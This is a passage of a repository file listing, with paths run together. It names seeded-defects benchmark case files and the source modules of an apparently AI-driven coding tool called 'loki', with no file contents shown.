ects/cases/SD-0028/src.pybenchmarks/seeded-defects/cases/SD-0028/test_visible.pybenchmarks/seeded-defects/cases/SD-0029/check.pybenchmarks/seeded-defects/cases/SD-0029/src.pybenchmarks/seeded-defects/cases/SD-0029/test_visible.pybenchmarks/seeded-defects/cases/SD-0030/check.pybenchmarks/seeded-defects/cases/SD-0030/src.pybenchmarks/seeded-defects/cases/SD-0030/test_visible.pybenchmarks/seeded-defects/cases/SD-0031/check.pybenchmarks/seeded-defects/cases/SD-0031/src.pybenchmarks/seeded-defects/cases/SD-0031/test_visible.pybenchmarks/seeded-defects/cases/SD-0032/check.pybenchmarks/seeded-defects/cases/SD-0032/src.pybenchmarks/seeded-defects/cases/SD-0032/test_visible.pybenchmarks/seeded-defects/cases/SD-0033/check.pybenchmarks/seeded-defects/cases/SD-0033/src.pybenchmarks/seeded-defects/cases/SD-0033/test_visible.pybenchmarks/seeded-defects/cases/SD-0034/check.pybenchmarks/seeded-defects/cases/SD-0034/src.pybenchmarks/seeded-defects/cases/SD-0034/test_visible.pybenchmarks/seeded-defects/cases/SD-0035/check.pybenchmarks/seeded-defects/cases/SD-0035/src.pybenchmarks/seeded-defects/cases/SD-0035/test_visible.pybenchmarks/seeded-defects/cases/SD-0036/check.pybenchmarks/seeded-defects/cases/SD-0036/src.pybenchmarks/seeded-defects/cases/SD-0036/test_visible.pybenchmarks/seeded-defects/cases/SD-0037/check.pybenchmarks/seeded-defects/cases/SD-0037/src.pybenchmarks/seeded-defects/cases/SD-0037/test_visible.pybenchmarks/seeded-defects/cases/SD-0038/check.pybenchmarks/seeded-defects/cases/SD-0038/src.pybenchmarks/seeded-defects/cases/SD-0038/test_visible.pybenchmarks/seeded-defects/cases/SD-0039/check.pybenchmarks/seeded-defects/cases/SD-0039/src.pybenchmarks/seeded-defects/cases/SD-0039/test_visible.pybenchmarks/seeded-defects/cases/SD-0040/check.pybenchmarks/seeded-defects/cases/SD-0040/src.pybenchmarks/seeded-defects/cases/SD-0040/test_visible.pybenchmarks/seeded-defects/cases/SD-0041/check.pybenchmarks/seeded-defects/cases/SD-0041/src.pybenchmarks/seeded-defects/cases/SD-0041/test_visible.pybenchmarks/seeded-defects/cases/SD-0042/check.pybenchmarks/seeded-defects/cases/SD-0042/src.pybenchmarks/seeded-defects/cases/SD-0042/test_visible.pybenchmarks/seeded-defects/cases/SD-0043/check.pybenchmarks/seeded-defects/cases/SD-0043/src.pybenchmarks/seeded-defects/cases/SD-0043/test_visible.pybenchmarks/seeded-defects/cases/SD-0044/check.pybenchmarks/seeded-defects/cases/SD-0044/src.pybenchmarks/seeded-defects/cases/SD-0044/test_visible.pybenchmarks/seeded-defects/cases/SD-0045/check.pybenchmarks/seeded-defects/cases/SD-0045/src.pybenchmarks/seeded-defects/cases/SD-0045/test_visible.pybenchmarks/seeded-defects/cases/SD-0046/check.pybenchmarks/seeded-defects/cases/SD-0046/src.pybenchmarks/seeded-defects/cases/SD-0046/test_visible.pybenchmarks/seeded-defects/cases/SD-0047/check.pybenchmarks/seeded-defects/cases/SD-0047/src.pybenchmarks/seeded-defects/cases/SD-0047/test_visible.pybenchmarks/seeded-defects/cases/SD-0048/check.pybenchmarks/seeded-defects/cases/SD-0048/src.pybenchmarks/seeded-defects/cases/SD-0048/test_visible.pybenchmarks/seeded-defects/cases/SD-0049/check.pybenchmarks/seeded-defects/cases/SD-0049/src.pybenchmarks/seeded-defects/cases/SD-0049/test_visible.pybenchmarks/seeded-defects/cases/SD-0050/check.pybenchmarks/seeded-defects/cases/SD-0050/src.pybenchmarks/seeded-defects/cases/SD-0050/test_visible.pybenchmarks/seeded-defects/cases/SD-0051/check.pybenchmarks/seeded-defects/cases/SD-0051/src.pybenchmarks/seeded-defects/cases/SD-0051/test_visible.pybenchmarks/seeded-defects/cases/SD-0052/check.pybenchmarks/seeded-defects/cases/SD-0052/src.pybenchmarks/seeded-defects/cases/SD-0052/test_visible.pybenchmarks/seeded-defects/cases/SD-0053/check.pybenchmarks/seeded-defects/cases/SD-0053/src.pybenchmarks/seeded-defects/cases/SD-0053/test_visible.pybenchmarks/seeded-defects/cases/SD-0054/check.pybenchmarks/seeded-defects/cases/SD-0054/src.pybenchmarks/seeded-defects/cases/SD-0054/test_visible.pybenchmarks/seeded-defects/cases/SD-0055/check.pybenchmarks/seeded-defects/cases/SD-0055/src.pybenchmarks/seeded-defects/cases/SD-0055/test_visible.pybenchmarks/seeded-defects/cases/SD-0056/check.pybenchmarks/seeded-defects/cases/SD-0056/src.pybenchmarks/seeded-defects/cases/SD-0056/test_visible.pybenchmarks/seeded-defects/cases/SD-0057/check.pybenchmarks/seeded-defects/cases/SD-0057/src.pybenchmarks/seeded-defects/cases/SD-0057/test_visible.pybenchmarks/seeded-defects/cases/SD-0058/check.pybenchmarks/seeded-defects/cases/SD-0058/src.pybenchmarks/seeded-defects/cases/SD-0058/test_visible.pybenchmarks/seeded-defects/cases/SD-0059/check.pybenchmarks/seeded-defects/cases/SD-0059/src.pybenchmarks/seeded-defects/cases/SD-0059/test_visible.pybenchmarks/seeded-defects/cases/SD-0060/check.pybenchmarks/seeded-defects/cases/SD-0060/src.pybenchmarks/seeded-defects/cases/SD-0060/test_visible.pybenchmarks/seeded-defects/cases/SD-0061/check.pybenchmarks/seeded-defects/cases/SD-0061/src.pybenchmarks/seeded-defects/cases/SD-0061/test_visible.pybenchmarks/seeded-defects/cases/SD-0062/check.pybenchmarks/seeded-defects/cases/SD-0062/src.pybenchmarks/seeded-defects/cases/SD-0062/test_visible.pybenchmarks/seeded-defects/cases/SD-0063/check.pybenchmarks/seeded-defects/cases/SD-0063/src.pybenchmarks/seeded-defects/cases/SD-0063/test_visible.pybenchmarks/seeded-defects/cases/SD-0064/check.pybenchmarks/seeded-defects/cases/SD-0064/src.pybenchmarks/seeded-defects/cases/SD-0064/test_visible.pybenchmarks/seeded-defects/cases/SD-0065/check.pybenchmarks/seeded-defects/cases/SD-0065/src.pybenchmarks/seeded-defects/cases/SD-0065/test_visible.pybenchmarks/seeded-defects/cases/SD-0066/check.pybenchmarks/seeded-defects/cases/SD-0066/src.pybenchmarks/seeded-defects/cases/SD-0066/test_visible.pybenchmarks/seeded-defects/cases/SD-0067/check.pybenchmarks/seeded-defects/cases/SD-0067/src.pybenchmarks/seeded-defects/cases/SD-0067/test_visible.pybenchmarks/seeded-defects/cases/SD-0068/check.pybenchmarks/seeded-defects/cases/SD-0068/src.pybenchmarks/seeded-defects/cases/SD-0068/test_visible.pybenchmarks/seeded-defects/cases/SD-0069/check.pybenchmarks/seeded-defects/cases/SD-0069/src.pybenchmarks/seeded-defects/cases/SD-0069/test_visible.pybenchmarks/seeded-defects/cases/SD-0070/check.pybenchmarks/seeded-defects/cases/SD-0070/src.pybenchmarks/seeded-defects/cases/SD-0070/test_visible.pybenchmarks/seeded-defects/cases/SD-0071/check.pybenchmarks/seeded-defects/cases/SD-0071/src.pybenchmarks/seeded-defects/cases/SD-0071/test_visible.pybenchmarks/seeded-defects/cases/SD-0072/check.pybenchmarks/seeded-defects/cases/SD-0072/src.pybenchmarks/seeded-defects/cases/SD-0072/test_visible.pybenchmarks/seeded-defects/cases/SD-0073/check.pybenchmarks/seeded-defects/cases/SD-0073/src.pybenchmarks/seeded-defects/cases/SD-0073/test_visible.pybenchmarks/seeded-defects/cases/SD-0074/check.pybenchmarks/seeded-defects/cases/SD-0074/src.pybenchmarks/seeded-defects/cases/SD-0074/test_visible.pybenchmarks/seeded-defects/cases/SD-0075/check.pybenchmarks/seeded-defects/cases/SD-0075/src.pybenchmarks/seeded-defects/cases/SD-0075/test_visible.pybenchmarks/seeded-defects/cases/SD-0076/check.pybenchmarks/seeded-defects/cases/SD-0076/src.pybenchmarks/seeded-defects/cases/SD-0076/test_visible.pybenchmarks/seeded-defects/cases/SD-0077/check.pybenchmarks/seeded-defects/cases/SD-0077/src.pybenchmarks/seeded-defects/cases/SD-0077/test_visible.pybenchmarks/seeded-defects/cases/SD-0078/check.pybenchmarks/seeded-defects/cases/SD-0078/src.pybenchmarks/seeded-defects/cases/SD-0078/test_visible.pybenchmarks/seeded-defects/cases/SD-0079/check.pybenchmarks/seeded-defects/cases/SD-0079/src.pybenchmarks/seeded-defects/cases/SD-0079/test_visible.pybenchmarks/seeded-defects/cases/SD-0080/check.pybenchmarks/seeded-defects/cases/SD-0080/src.pybenchmarks/seeded-defects/cases/SD-0080/test_visible.pybenchmarks/seeded-defects/cases/SD-0081/check.pybenchmarks/seeded-defects/cases/SD-0081/src.pybenchmarks/seeded-defects/cases/SD-0081/test_visible.pybenchmarks/seeded-defects/cases/SD-0082/check.pybenchmarks/seeded-defects/cases/SD-0082/src.pybenchmarks/seeded-defects/cases/SD-0082/test_visible.pybenchmarks/seeded-defects/cases/SD-0083/check.pybenchmarks/seeded-defects/cases/SD-0083/src.pybenchmarks/seeded-defects/cases/SD-0083/test_visible.pybenchmarks/seeded-defects/cases/SD-0084/check.pybenchmarks/seeded-defects/cases/SD-0084/src.pybenchmarks/seeded-defects/cases/SD-0084/test_visible.pybenchmarks/seeded-defects/cases/SD-0085/check.pybenchmarks/seeded-defects/cases/SD-0085/src.pybenchmarks/seeded-defects/cases/SD-0085/test_visible.pybenchmarks/seeded-defects/cases/SD-0086/check.pybenchmarks/seeded-defects/cases/SD-0086/src.pybenchmarks/seeded-defects/cases/SD-0086/test_visible.pybenchmarks/seeded-defects/cases/SD-0087/check.pybenchmarks/seeded-defects/cases/SD-0087/src.pybenchmarks/seeded-defects/cases/SD-0087/test_visible.pybenchmarks/seeded-defects/cases/SD-0088/check.pybenchmarks/seeded-defects/cases/SD-0088/src.pybenchmarks/seeded-defects/cases/SD-0088/test_visible.pybenchmarks/seeded-defects/cases/SD-0089/check.pybenchmarks/seeded-defects/cases/SD-0089/src.pybenchmarks/seeded-defects/cases/SD-0089/test_visible.pybenchmarks/seeded-defects/cases/SD-0090/check.pybenchmarks/seeded-defects/cases/SD-0090/src.pybenchmarks/seeded-defects/cases/SD-0090/test_visible.pybenchmarks/seeded-defects/cases/SD-0091/check.pybenchmarks/seeded-defects/cases/SD-0091/src.pybenchmarks/seeded-defects/cases/SD-0091/test_visible.pybenchmarks/seeded-defects/cases/SD-0092/check.pybenchmarks/seeded-defects/cases/SD-0092/src.pybenchmarks/seeded-defects/cases/SD-0092/test_visible.pybenchmarks/seeded-defects/cases/SD-0093/check.pybenchmarks/seeded-defects/cases/SD-0093/src.pybenchmarks/seeded-defects/cases/SD-0093/test_visible.pybenchmarks/seeded-defects/cases/SD-0094/check.pybenchmarks/seeded-defects/cases/SD-0094/src.pybenchmarks/seeded-defects/cases/SD-0094/test_visible.pybenchmarks/seeded-defects/cases/SD-0095/check.pybenchmarks/seeded-defects/cases/SD-0095/src.pybenchmarks/seeded-defects/cases/SD-0095/test_visible.pybenchmarks/seeded-defects/cases/SD-0096/check.pybenchmarks/seeded-defects/cases/SD-0096/src.pybenchmarks/seeded-defects/cases/SD-0096/test_visible.pybenchmarks/seeded-defects/cases/SD-0097/check.pybenchmarks/seeded-defects/cases/SD-0097/src.pybenchmarks/seeded-defects/cases/SD-0097/test_visible.pybenchmarks/seeded-defects/cases/SD-0098/check.pybenchmarks/seeded-defects/cases/SD-0098/src.pybenchmarks/seeded-defects/cases/SD-0098/test_visible.pybenchmarks/seeded-defects/cases/SD-0099/check.pybenchmarks/seeded-defects/cases/SD-0099/src.pybenchmarks/seeded-defects/cases/SD-0099/test_visible.pybenchmarks/seeded-defects/cases/SD-0100/check.pybenchmarks/seeded-defects/cases/SD-0100/src.pybenchmarks/seeded-defects/cases/SD-0100/test_visible.pybenchmarks/seeded-defects/generate.pybenchmarks/seeded-defects/measure.pybenchmarks/seeded-defects/pr-cases/PR-0001/base/src.pybenchmarks/seeded-defects/pr-cases/PR-0001/base/test_visible.pybenchmarks/seeded-defects/pr-cases/PR-0001/base/tests/test_clause.pybenchmarks/seeded-defects/pr-cases/PR-0001/head/src.pybenchmarks/seeded-defects/pr-cases/PR-0001/head/test_visible.pybenchmarks/seeded-defects/pr-cases/PR-0001/head/tests/test_clause.pybenchmarks/seeded-defects/pr-cases/PR-0002/base/src.pybenchmarks/seeded-defects/pr-cases/PR-0002/base/test_visible.pybenchmarks/seeded-defects/pr-cases/PR-0002/base/tests/test_clause.pybenchmarks/seeded-defects/pr-cases/PR-0002/head/src.pybenchmarks/seeded-defects/pr-cases/PR-0002/head/test_visible.pybenchmarks/seeded-defects/pr-cases/PR-0002/head/tests/test_clause.pybenchmarks/seeded-defects/pr-cases/PR-0003/base/src.pybenchmarks/seeded-defects/pr-cases/PR-0003/base/test_visible.pybenchmarks/seeded-defects/pr-cases/PR-0003/base/tests/test_clause.pybenchmarks/seeded-defects/pr-cases/PR-0003/head/src.pybenchmarks/seeded-defects/pr-cases/PR-0003/head/test_visible.pybenchmarks/seeded-defects/pr-cases/PR-0003/head/tests/test_clause.pybenchmarks/seeded-defects/pr-cases/PR-0004/base/src.pybenchmarks/seeded-defects/pr-cases/PR-0004/base/test_visible.pybenchmarks/seeded-defects/pr-cases/PR-0004/base/tests/test_clause.pybenchmarks/seeded-defects/pr-cases/PR-0004/head/src.pybenchmarks/seeded-defects/pr-cases/PR-0004/head/test_visible.pybenchmarks/seeded-defects/pr-cases/PR-0004/head/tests/test_clause.pybenchmarks/seeded-defects/pr-cases/PR-0005/base/src.pybenchmarks/seeded-defects/pr-cases/PR-0005/base/test_visible.pybenchmarks/seeded-defects/pr-cases/PR-0005/base/tests/test_clause.pybenchmarks/seeded-defects/pr-cases/PR-0005/head/src.pybenchmarks/seeded-defects/pr-cases/PR-0005/head/test_visible.pybenchmarks/seeded-defects/pr-cases/PR-0005/head/tests/test_clause.pybenchmarks/seeded-defects/pr-cases/PR-0006/base/src.pybenchmarks/seeded-defects/pr-cases/PR-0006/base/test_visible.pybenchmarks/seeded-defects/pr-cases/PR-0006/base/tests/test_clause.pybenchmarks/seeded-defects/pr-cases/PR-0006/head/src.pybenchmarks/seeded-defects/pr-cases/PR-0006/head/test_visible.pybenchmarks/seeded-defects/pr-cases/PR-0006/head/tests/test_clause.pybenchmarks/seeded-defects/pr-cases/PR-0007/base/src.pybenchmarks/seeded-defects/pr-cases/PR-0007/base/test_visible.pybenchmarks/seeded-defects/pr-cases/PR-0007/base/tests/test_clause.pybenchmarks/seeded-defects/pr-cases/PR-0007/head/src.pybenchmarks/seeded-defects/pr-cases/PR-0007/head/test_visible.pybenchmarks/seeded-defects/pr-cases/PR-0007/head/tests/test_clause.pybenchmarks/seeded-defects/pr-cases/PR-0008/base/src.pybenchmarks/seeded-defects/pr-cases/PR-0008/base/test_visible.pybenchmarks/seeded-defects/pr-cases/PR-0008/head/src.pybenchmarks/seeded-defects/pr-cases/PR-0008/head/test_visible.pybin/lokibin/loki-mode.jsbin/loki-postinstall.jsclaude/hooks/loki-session-end.shcollab/__init__.pycollab/api.pycollab/presence.pycollab/sync.pycollab/websocket.pycompletions/loki.bashdashboard/Dockerfiledashboard/__init__.pydashboard/activity_logger.pydashboard/api_evidence.pydashboard/api_keys.pydashboard/api_operator.pydashboard/api_phases.pydashboard/api_releases.pydashboard/api_runs.pydashboard/api_runs_v1.pydashboard/api_start.pydashboard/api_tests.pydashboard/api_v2.pydashboard/api_workspaces.pydashboard/app_secrets.pydashboard/audit.pydashboard/auth.pydashboard/build_supervisor.pydashboard/control.pydashboard/database.pydashboard/failure_extractor.pydashboard/migration_engine.pydashboard/models.pydashboard/prompt_optimizer.pydashboard/registry.pydashboard/rigour_integration.pydashboard/runs.pydashboard/secure_tmp.pydashboard/server.pydashboard/telemetry.pydashboard/tenants.pydocker/Dockerfileevents/__init__.pyevents/bus.pyevents/bus.tsevents/emit.shlearning/__init__.pylearning/aggregate.shlearning/aggregator.pylearning/emit.shlearning/emitter.pylearning/signals.pylearning/signals.tslearning/suggest.shlearning/suggestions.pyloki-ts/dist/cockpit.jsloki-ts/dist/loki.jsloki-ts/package.jsonloki-ts/scripts/build.tsloki-ts/scripts/gen-cli-modern-doc.tsloki-ts/scripts/gen-command-lists.tsloki-ts/src/cli.tsloki-ts/src/cli/completions.tsloki-ts/src/cli/inventory_doc.tsloki-ts/src/cli/registry.tsloki-ts/src/cockpit/capability.tsloki-ts/src/cockpit/cli.tsloki-ts/src/cockpit/encode.tsloki-ts/src/cockpit/raster.tsloki-ts/src/cockpit/render.tsloki-ts/src/cockpit/svg.tsloki-ts/src/commands/completion.tsloki-ts/src/commands/control.tsloki-ts/src/commands/crash.tsloki-ts/src/commands/doctor.tsloki-ts/src/commands/doctor_fix.tsloki-ts/src/commands/export_sarif.tsloki-ts/src/commands/internal_exec_manifest.tsloki-ts/src/commands/internal_phase1.tsloki-ts/src/commands/internal_sdk_judge.tsloki-ts/src/commands/issues_epic.tsloki-ts/src/commands/issues_run.tsloki-ts/src/commands/kpis.tsloki-ts/src/commands/memory.tsloki-ts/src/commands/proof.tsloki-ts/src/commands/provider.tsloki-ts/src/commands/queue.tsloki-ts/src/commands/rollback.tsloki-ts/src/commands/run_status.tsloki-ts/src/commands/start.tsloki-ts/src/commands/stats.tsloki-ts/src/commands/status.tsloki-ts/src/commands/trust.tsloki-ts/src/commands/undo.tsloki-ts/src/commands/undo_apply.tsloki-ts/src/commands/verify_pr.tsloki-ts/src/commands/version.tsloki-ts/src/commands/wiki.tsloki-ts/src/contrib/ai_bom.tsloki-ts/src/contrib/brief_facts.tsloki-ts/src/contrib/cost_records.tsloki-ts/src/contrib/effort_policy.tsloki-ts/src/contrib/eta.tsloki-ts/src/contrib/forecast.tsloki-ts/src/contrib/index.tsloki-ts/src/contrib/plan_cmd.tsloki-ts/src/contrib/receipt_time.tsloki-ts/src/contrib/runtime_evidence.tsloki-ts/src/contrib/sarif.tsloki-ts/src/contrib/slack_inbound.tsloki-ts/src/contrib/stage_capability.tsloki-ts/src/contrib/status.tsloki-ts/src/contrib/verify_pr_f2p.tsloki-ts/src/contrib/wall_snapshot.tsloki-ts/src/council/finding_schema.tsloki-ts/src/council/role_agents.tsloki-ts/src/e10ext/assert_delta.tsloki-ts/src/e10ext/budget_cap.tsloki-ts/src/e10ext/commit_filter.tsloki-ts/src/e10ext/compound_match.tsloki-ts/src/e10ext/context.tsloki-ts/src/e10ext/discard.tsloki-ts/src/e10ext/liveline.tsloki-ts/src/e10ext/preexisting_dirty.tsloki-ts/src/e10ext/repomemory.tsloki-ts/src/e10ext/reviewer_body.tsloki-ts/src/e10ext/scope.tsloki-ts/src/e10ext/select.tsloki-ts/src/e10ext/ship_hook.tsloki-ts/src/e10ext/stop_restore.tsloki-ts/src/e10ext/treeswap.tsloki-ts/src/e10ext/wall_hints.tsloki-ts/src/engine10/already_done.tsloki-ts/src/engine10/cache.tsloki-ts/src/engine10/cli.tsloki-ts/src/engine10/cost.tsloki-ts/src/engine10/events.tsloki-ts/src/engine10/failures.tsloki-ts/src/engine10/fetch_issue.tsloki-ts/src/engine10/hooks.tsloki-ts/src/engine10/integrate.tsloki-ts/src/engine10/keys_cmd.tsloki-ts/src/engine10/machine.tsloki-ts/src/engine10/modernize/cli.tsloki-ts/src/engine10/modernize/cluster.tsloki-ts/src/engine10/modernize/codemod.tsloki-ts/src/engine10/modernize/dashboard.tsloki-ts/src/engine10/modernize/equiv.tsloki-ts/src/engine10/modernize/estimate.tsloki-ts/src/engine10/modernize/inventory.tsloki-ts/src/engine10/modernize/lang/java.tsloki-ts/src/engine10/modernize/lang/python.tsloki-ts/src/engine10/modernize/log.tsloki-ts/src/engine10/modernize/oracle/java.tsloki-ts/src/engine10/modernize/oracle/seal.tsloki-ts/src/engine10/modernize/oracle/search.tsloki-ts/src/engine10/modernize/presealed_wall.tsloki-ts/src/engine10/modernize/report.tsloki-ts/src/engine10/modernize/reslice.tsloki-ts/src/engine10/modernize/resume.tsloki-ts/src/engine10/modernize/routes.tsloki-ts/src/engine10/modernize/scheduler.tsloki-ts/src/engine10/modernize/ship.tsloki-ts/src/engine10/modernize/targets/java21.tsloki-ts/src/engine10/modernize/targets/python3.tsloki-ts/src/engine10/modernize/types.tsloki-ts/src/engine10/modernize/unit.tsloki-ts/src/engine10/modernize/wave.tsloki-ts/src/engine10/output.tsloki-ts/src/engine10/pr_body.tsloki-ts/src/engine10/preflight.tsloki-ts/src/engine10/registry.tsloki-ts/src/engine10/relevant_files.tsloki-ts/src/engine10/repomap.tsloki-ts/src/engine10/session.tsloki-ts/src/engine10/sizing.tsloki-ts/src/engine10/stages/commit.tsloki-ts/src/engine10/stages/deep.tsloki-ts/src/engine10/stages/fix.tsloki-ts/src/engine10/stages/implement.tsloki-ts/src/engine10/stages/intake.tsloki-ts/src/engine10/stages/plan.tsloki-ts/src/engine10/stages/pr.tsloki-ts/src/engine10/stages/seal.tsloki-ts/src/engine10/stages/verify.tsloki-ts/src/engine10/stages/wall.tsloki-ts/src/engine10/stages/xreview.tsloki-ts/src/engine10/supervisor.tsloki-ts/src/engine10/testmap.tsloki-ts/src/engine10/types.tsloki-ts/src/engine10/verify_cmd.tsloki-ts/src/engine10/worker.tsloki-ts/src/features/attempts.tsloki-ts/src/features/blocked_answer.tsloki-ts/src/features/contract.tsloki-ts/src/features/decompose.tsloki-ts/src/features/dependents.tsloki-ts/src/features/lean_prefix.tsloki-ts/src/features/receipt_dsse.tsloki-ts/src/features/runner_config.tsloki-ts/src/features/spec_ambiguity.tsloki-ts/src/features/speed/already_done_async.tsloki-ts/src/features/speed/decompose_check.tsloki-ts/src/features/speed/fix_units.tsloki-ts/src/features/speed/group_grid.tsloki-ts/src/features/speed/group_output.tsloki-ts/src/features/speed/lean_select.tsloki-ts/src/features/speed/route.tsloki-ts/src/features/speed/run_group.tsloki-ts/src/features/speed/seal_group.tsloki-ts/src/features/speed/unit_mode.tsloki-ts/src/features/tracker_intake.tsloki-ts/src/features/triage.tsloki-ts/src/features/untouched_untracked.tsloki-ts/src/features/visual_evidence.tsloki-ts/src/features/wall_manifest.tsloki-ts/src/features/wall_manifest_wire.tsloki-ts/src/features/warm.tsloki-ts/src/features/warm_client.tsloki-ts/src/integrations/before_after.tsloki-ts/src/integrations/writeback.tsloki-ts/src/metrics/kpis.tsloki-ts/src/metrics/trust.tsloki-ts/src/project_graph.tsloki-ts/src/project_model/api.tsloki-ts/src/project_model/conventions.tsloki-ts/src/project_model/discover.tsloki-ts/src/project_model/gather.tsloki-ts/src/project_model/graph.tsloki-ts/src/project_model/install.tsloki-ts/src/project_model/linguist.tsloki-ts/src/project_model/package_suite.tsloki-ts/src/project_model/resolve.tsloki-ts/src/project_model/schema.tsloki-ts/src/project_model/scope.tsloki-ts/src/providers/claude_flags.tsloki-ts/src/providers/mcp_config.tsloki-ts/src/providers/model_routes.tsloki-ts/src/providers/price_table.tsloki-ts/src/providers/provider_cost.tsloki-ts/src/providers/provider_guard.tsloki-ts/src/runner/attempts.tsloki-ts/src/runner/budget.tsloki-ts/src/runner/checkpoint.tsloki-ts/src/runner/counter_evidence.tsloki-ts/src/runner/crash.tsloki-ts/src/runner/engine10_dashboard.tsloki-ts/src/runner/episode_bridge.tsloki-ts/src/runner/escalation_handoff.tsloki-ts/src/runner/exec_manifest.tsloki-ts/src/runner/findings_injector.tsloki-ts/src/runner/github_token.tsloki-ts/src/runner/host_guard.tsloki-ts/src/runner/learnings_writer.tsloki-ts/src/runner/load_owner.tsloki-ts/src/runner/model_downgrades.tsloki-ts/src/runner/model_rank.tsloki-ts/src/runner/oauth_dev.tsloki-ts/src/runner/provider_failover.tsloki-ts/src/runner/provider_opencode.tsloki-ts/src/runner/providers.tsloki-ts/src/runner/repo_profile.tsloki-ts/src/runner/retry_class.tsloki-ts/src/runner/router/advisor_probe.tsloki-ts/src/runner/router/cost_preview.tsloki-ts/src/runner/router/decision.tsloki-ts/src/runner/router/flag.tsloki-ts/src/runner/router/history.tsloki-ts/src/runner/router/history_store.tsloki-ts/src/runner/router/implement_route.tsloki-ts/src/runner/router/plan_route.tsloki-ts/src/runner/router/route_block.tsloki-ts/src/runner/router/route_record.tsloki-ts/src/runner/router/session_route.tsloki-ts/src/runner/router/unit_model.tsloki-ts/src/runner/runner_errors.tsloki-ts/src/runner/sdk_invoker.tsloki-ts/src/runner/sdk_mode.tsloki-ts/src/runner/sdk_stream_parser.tsloki-ts/src/runner/session_resume.tsloki-ts/src/runner/state.tsloki-ts/src/runner/stop_checks.tsloki-ts/src/runner/trim.tsloki-ts/src/runner/types.tsloki-ts/src/runner/watchdog.tsloki-ts/src/runner/worker_proc.tsloki-ts/src/supply/supply_guard.tsloki-ts/src/util/already_done_evidence.tsloki-ts/src/util/anti_loop.tsloki-ts/src/util/app_probe.tsloki-ts/src/util/atomic.tsloki-ts/src/util/base_guard.tsloki-ts/src/util/check_result.tsloki-ts/src/util/child_ledger.tsloki-ts/src/util/claude_model.tsloki-ts/src/util/colors.tsloki-ts/src/util/composite_seal.tsloki-ts/src/util/conflict_resume.tsloki-ts/src/util/context_pack.tsloki-ts/src/util/cost_breakdown.tsloki-ts/src/util/cost_profile.tsloki-ts/src/util/credential_env.tsloki-ts/src/util/dashboard_page.tsloki-ts/src/util/deprecated_alias.tsloki-ts/src/util/dotnet_test.tsloki-ts/src/util/engine_origin.tsloki-ts/src/util/failure_memory.tsloki-ts/src/util/first_run_repo.tsloki-ts/src/util/funnel.tsloki-ts/src/util/group_integrate.tsloki-ts/src/util/holdout.tsloki-ts/src/util/intent_card.tsloki-ts/src/util/js_resolve.tsloki-ts/src/util/lock_ecosystems.tsloki-ts/src/util/modernize_coordinator.tsloki-ts/src/util/modernize_unit.tsloki-ts/src/util/mutation_proof.tsloki-ts/src/util/one_line_goal.tsloki-ts/src/util/outbox.tsloki-ts/src/util/paths.tsloki-ts/src/util/pr_lessons.tsloki-ts/src/util/producer_fingerprint.tsloki-ts/src/util/python.tsloki-ts/src/util/python_build_check.tsloki-ts/src/util/receipt_bundle.tsloki-ts/src/util/receipt_signer.tsloki-ts/src/util/receipt_surface.tsloki-ts/src/util/redact.tsloki-ts/src/util/relevance.tsloki-ts/src/util/reviewer_brief.tsloki-ts/src/util/run_cap.tsloki-ts/src/util/run_control.tsloki-ts/src/util/run_identity.tsloki-ts/src/util/run_outputs.tsloki-ts/src/util/run_pid.tsloki-ts/src/util/run_shape.tsloki-ts/src/util/run_summary.tsloki-ts/src/util/runner_boot.tsloki-ts/src/util/safe_git.tsloki-ts/src/util/satisfaction.tsloki-ts/src/util/seal_drift.tsloki-ts/src/util/secure_scan.tsloki-ts/src/util/shell.tsloki-ts/src/util/skill_checks.tsloki-ts/src/util/slack_events.tsloki-ts/src/util/spec_file.tsloki-ts/src/util/stack_tools.tsloki-ts/src/util/steer.tsloki-ts/src/util/term_width.tsloki-ts/src/util/test_file_text.tsloki-ts/src/util/test_guard.tsloki-ts/src/util/tier.tsloki-ts/src/util/ts_signatures.tsloki-ts/src/util/update_check.tsloki-ts/src/util/wall_cases.tsloki-ts/src/util/wall_knobs.tsloki-ts/src/util/wall_owned.tsloki-ts/src/util/yaml_key.tsloki-ts/src/version.tslokistore/__init__.pylokistore/base.pylokistore/cloud.pylokistore/factory.pylokistore/local.pymagic/__init__.pymagic/core/__init__.pymagic/core/debate.pymagic/core/design_tokens.pymagic/core/freshness.pymagic/core/generator.pymagic/core/memory_bridge.pymagic/core/prd_scanner.pymagic/core/registry.pymagic/core/spec.pymcp/__init__.pymcp/_sdk_loader.pymcp/cp_tools.pymcp/learning_collector.pymcp/lsp_proxy.pymcp/magic_tools.pymcp/managed_tools.pymcp/server.pymcp/v10_tools.pymemory/__init__.pymemory/app_graph.pymemory/consolidation.pymemory/cross_project.pymemory/embeddings.pymemory/engine.pymemory/error_log.pymemory/ingest.pymemory/knowledge_graph.pymemory/layers/__init__.pymemory/layers/index_layer.pymemory/layers/loader.pymemory/layers/timeline_layer.pymemory/managed_memory/__init__.pymemory/managed_memory/_beta.pymemory/managed_memory/client.pymemory/managed_memory/events.pymemory/managed_memory/fakes.pymemory/managed_memory/retrieve.pymemory/managed_memory/shadow_write.pymemory/namespace.pymemory/replay.pymemory/retrieval.pymemory/schemas.pymemory/storage.pymemory/token_economics.pymemory/unified_access.pymemory/vector_index.pypackage.jsonpackages/control-plane/package.jsonpackages/control-plane/src/ask/invoke.tspackages/control-plane/src/ask/parse.tspackages/control-plane/src/ask/policy.tspackages/control-plane/src/ask/prompt.tspackages/control-plane/src/ask/store.tspackages/control-plane/src/ask/tools.tspackages/control-plane/src/ask/tools_server.tspackages/control-plane/src/ask/worker.tspackages/control-plane/src/db/fixture-cleanup.tspackages/control-plane/src/db/migrate.tspackages/control-plane/src/db/prune.tspackages/control-plane/src/db/schema.tspackages/control-plane/src/server/answer.tspackages/control-plane/src/server/app.tspackages/control-plane/src/server/audit.tspackages/control-plane/src/server/auth.tspackages/control-plane/src/server/diffstat.tspackages/control-plane/src/server/ingest.tspackages/control-plane/src/server/integrity.tspackages/control-plane/src/server/legacy/routes-audit.tspackages/control-plane/src/server/legacy/routes-control.tspackages/control-plane/src/server/legacy/routes-memory.tspackages/control-plane/src/server/legacy/routes-metrics.tspackages/control-plane/src/server/legacy/routes.tspackages/control-plane/src/server/legacy/shim.tspackages/control-plane/src/server/reconcile.tspackages/control-plane/src/server/repos.tspackages/control-plane/src/server/routes/artifacts.tspackages/control-plane/src/server/routes/ask.tspackages/control-plane/src/server/routes/audit.tspackages/control-plane/src/server/routes/checkpoints.tspackages/control-plane/src/server/routes/config.tspackages/control-plane/src/server/routes/control.tspackages/control-plane/src/server/routes/cost.tspackages/control-plane/src/server/routes/cost_ledger.tspackages/control-plane/src/server/routes/doctor.tspackages/control-plane/src/server/routes/fleet.tspackages/control-plane/src/serv